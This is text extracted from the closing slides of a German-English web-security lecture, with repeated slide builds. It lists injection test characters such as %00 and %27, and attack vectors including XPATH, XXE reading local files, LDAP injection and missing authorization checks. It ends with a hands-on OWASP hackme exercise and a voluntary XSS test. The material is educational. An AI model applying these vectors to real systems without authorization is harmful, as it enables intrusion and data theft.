» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren
versteckt!» Typische Files: /admin/, /README etc
46
Andere Vektoren
47
Andere Vektoren
» XPATH injections
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE» XML external Entity Injections
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE» XML external Entity Injections» Upload an XML file including references to
local files
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE» XML external Entity Injections» Upload an XML file including references to
local files» LDAP injections
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE» XML external Entity Injections» Upload an XML file including references to
local files» LDAP injections» Logical Flaws
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE» XML external Entity Injections» Upload an XML file including references to
local files» LDAP injections» Logical Flaws
» Missing authorization checks
47
Andere Vektoren
» XPATH injections» Similar to SQL injections using XPATH syntax
» XXE» XML external Entity Injections» Upload an XML file including references to
local files» LDAP injections» Logical Flaws
» Missing authorization checks » /user/edit.php?id=1 for admin editing
47
Hands On
» Einfache SQL-Injection » Blind SQL Injection» Hackme „OWasp Casino“
» SQL-Injection» Cross Site Request Forgery» Logischer Fehler
48
Freiwilliger Penetration Test
» Nur Suche nach XSS-Lücken» Gerne auch private Seiten
49
Fragen?
»
50
Vielen Dank für Ihre Aufmerksamkeit!
51